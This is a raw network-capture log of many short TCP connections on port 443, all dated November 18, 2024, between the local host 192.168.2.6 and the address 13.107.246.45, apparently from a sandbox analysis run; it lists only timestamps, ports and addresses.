Nov 18, 2024 05:57:24.017754078 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.018498898 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.018520117 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.018918037 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.018923998 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.076792002 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.077559948 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.077584028 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.077953100 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.077959061 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.115941048 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.116002083 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.116050959 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.116267920 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.116267920 CET	49768	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.116281033 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.116288900 CET	443	49768	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.119410992 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.119515896 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.119590998 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.119791985 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.119826078 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.144598961 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.144757032 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.144812107 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.145001888 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.145001888 CET	49770	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.145019054 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.145028114 CET	443	49770	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.147173882 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.147628069 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.147675991 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.147725105 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.147761106 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.147788048 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.148050070 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.148066044 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.148181915 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.148207903 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.148216963 CET	49771	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.148222923 CET	443	49771	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.150702000 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.150736094 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.151053905 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.151262045 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.151288986 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.209534883 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.209630966 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.209903002 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.209903955 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.209965944 CET	49769	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.209978104 CET	443	49769	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.212414026 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.212440014 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.212699890 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.212856054 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.212865114 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.399250984 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.399992943 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.400015116 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.401604891 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.401612043 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.529196978 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.529347897 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.529438972 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.529515982 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.529536009 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.529552937 CET	49772	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.529560089 CET	443	49772	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.532464027 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.532496929 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.532579899 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.532740116 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.532764912 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.861711979 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.862251997 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.862298012 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.862718105 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.862736940 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.882045031 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.882569075 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.882580996 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.883352041 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.883358955 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.896656036 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.897090912 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.897110939 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.897550106 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.897562027 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.960757971 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.961190939 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.961213112 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.961698055 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.961703062 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.991628885 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.991828918 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.991916895 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.991916895 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.991997957 CET	49773	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.992038012 CET	443	49773	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.994899988 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.994945049 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:24.995172024 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.995296001 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:24.995315075 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.011512995 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.011641026 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.011709929 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.011753082 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.011753082 CET	49774	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.011775017 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.011790037 CET	443	49774	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.014269114 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.014292955 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.014372110 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.014528990 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.014538050 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.027462959 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.027564049 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.027621984 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.027682066 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.027702093 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.027728081 CET	49775	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.027740955 CET	443	49775	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.029788017 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.029830933 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.029920101 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.030045986 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.030065060 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.091696978 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.091878891 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.091944933 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.091972113 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.091985941 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.091999054 CET	49776	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.092005014 CET	443	49776	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.094121933 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.094166040 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.094234943 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.094374895 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.094392061 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.271953106 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.272536993 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.272545099 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.273016930 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.273026943 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.402232885 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.402304888 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.402407885 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.402574062 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.402590036 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.402775049 CET	49777	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.402781963 CET	443	49777	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.405637026 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.405685902 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.405751944 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.405952930 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.405967951 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.737494946 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.737699986 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.737982035 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.738017082 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.738131046 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.738142014 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.738514900 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.738518000 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.738698006 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.738703966 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.766107082 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.766542912 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.766602993 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.766952991 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.766968012 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.839912891 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.840559959 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.840610981 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.840887070 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.840895891 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.864350080 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.864423037 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.864533901 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.864895105 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.864895105 CET	49779	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.864907980 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.864916086 CET	443	49779	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.867650986 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.867803097 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.867851973 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.867866039 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.867928982 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.868056059 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.868062019 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.868068933 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.868108034 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.868108034 CET	49778	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.868130922 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.868144989 CET	443	49778	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.869894028 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.869941950 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.870018005 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.870110989 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.870126963 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.900616884 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.900804996 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.900861025 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.900937080 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.900937080 CET	49780	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.900979042 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.901006937 CET	443	49780	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.902870893 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.902887106 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.902993917 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.903105974 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.903116941 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.969453096 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.969834089 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.969918966 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.969918966 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.969961882 CET	49781	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.969980955 CET	443	49781	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.971870899 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.971915960 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:25.971995115 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.972101927 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:25.972114086 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.142807961 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.147053957 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.147115946 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.147496939 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.147511959 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.273627996 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.273832083 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.273931026 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.274100065 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.274148941 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.274180889 CET	49782	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.274197102 CET	443	49782	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.276571989 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.276602030 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.276675940 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.276819944 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.276828051 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.598656893 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.599581003 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.599627018 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.600060940 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.600074053 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.636915922 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.637433052 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.637460947 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.637878895 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.637887001 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.661087036 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.661606073 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.661638021 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.661986113 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.661995888 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.700989962 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.701455116 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.701481104 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.701910973 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.701916933 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.731667995 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.731734037 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.731834888 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.731976032 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.732001066 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.732019901 CET	49783	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.732028961 CET	443	49783	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.734488964 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.734528065 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.734596968 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.734736919 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.734754086 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.764148951 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.764219046 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.764281034 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.764473915 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.764473915 CET	49785	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.764491081 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.764506102 CET	443	49785	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.767096043 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.767148018 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.767232895 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.767394066 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.767412901 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.790462971 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.790601969 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.790790081 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.790790081 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.790790081 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.793004990 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.793035030 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.793122053 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.793268919 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.793294907 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.830693007 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.830794096 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.830874920 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.831036091 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.831063986 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.831084967 CET	49786	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.831091881 CET	443	49786	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.833702087 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.833739042 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:26.833825111 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.833988905 CET	49791	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:26.834005117 CET	443	49791	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.003151894 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.003837109 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.003890991 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.004256964 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.004268885 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.101768970 CET	49784	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.101809978 CET	443	49784	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.130661011 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.130834103 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.130901098 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.130976915 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.130994081 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.131001949 CET	49787	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.131007910 CET	443	49787	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.133483887 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.133536100 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.133621931 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.133776903 CET	49792	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.133793116 CET	443	49792	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.461715937 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.462340117 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.462374926 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.462950945 CET	49788	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.462960005 CET	443	49788	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.499028921 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.499684095 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.499701977 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.500119925 CET	49789	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.500128031 CET	443	49789	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.529339075 CET	443	49790	13.107.246.45	192.168.2.6
Nov 18, 2024 05:57:27.529968977 CET	49790	443	192.168.2.6	13.107.246.45
Nov 18, 2024 05:57:27.530000925 CET	443	49790	13.107.246.45	192.168.2.6
